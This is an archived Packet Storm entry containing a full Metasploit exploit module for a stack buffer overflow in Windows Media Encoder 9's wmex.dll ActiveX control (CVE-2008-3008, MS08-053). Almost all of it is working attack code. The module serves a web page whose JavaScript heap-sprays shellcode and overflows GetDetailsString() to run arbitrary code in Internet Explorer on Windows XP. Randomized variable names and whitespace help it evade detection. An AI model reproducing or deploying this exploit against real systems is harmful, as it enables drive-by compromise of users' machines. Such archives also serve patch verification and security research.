Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow

2009-11-26T00:00:00
ID PACKETSTORM:83176
Type packetstorm
Reporter MC
Modified 2009-11-26T00:00:00

Description

                                        
                                            `###  
## This file is part of the Metasploit Framework and may be subject to  
## redistribution and commercial restrictions. Please see the Metasploit  
## Framework web site for more information on licensing and terms of use.  
## http://metasploit.com/framework/  
###  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Windows Media Encoder 9. When  
sending an overly long string to the GetDetailsString() method of wmex.dll   
an attacker may be able to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2008-3008' ],  
[ 'OSVDB', '47962' ],  
[ 'BID', '31065' ],  
[ 'MSB', 'MS08-053' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP2-SP3 IE 6.0 SP0-SP2', { 'Ret' => 0x0C0C0C0C } ]   
],  
'DisclosureDate' => 'Sep 9 2008',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload.  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Encode the shellcode.  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Create some nops.  
nops = Rex::Text.to_unescape(make_nops(4))  
  
# Set the return.  
ret = Rex::Text.to_unescape([target.ret].pack('V'))  
  
# Randomize the javascript variable names.  
vname = rand_text_alpha(rand(100) + 1)  
var_i = rand_text_alpha(rand(30) + 2)  
rand1 = rand_text_alpha(rand(100) + 1)  
rand2 = rand_text_alpha(rand(100) + 1)  
rand3 = rand_text_alpha(rand(100) + 1)  
rand4 = rand_text_alpha(rand(100) + 1)  
rand5 = rand_text_alpha(rand(100) + 1)  
rand6 = rand_text_alpha(rand(100) + 1)  
rand7 = rand_text_alpha(rand(100) + 1)  
rand8 = rand_text_alpha(rand(100) + 1)  
  
content = %Q|  
<html>  
<object id='#{vname}' classid='clsid:A8D3AD02-7508-4004-B2E9-AD33F087F43C'></object>  
<script language="JavaScript">  
var #{rand1} = unescape('#{shellcode}');  
var #{rand2} = unescape('#{nops}');  
var #{rand3} = 20;  
var #{rand4} = #{rand3} + #{rand1}.length;  
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};  
var #{rand5} = #{rand2}.substring(0,#{rand4});  
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});  
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};  
var #{rand7} = new Array();  
for (#{var_i} = 0; #{var_i} < 600; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }  
var #{rand8} = "";  
for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }  
#{vname}.GetDetailsString(#{rand8}, 1);  
</script>  
</html>  
|  
  
content = Rex::Text.randomize_space(content)  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`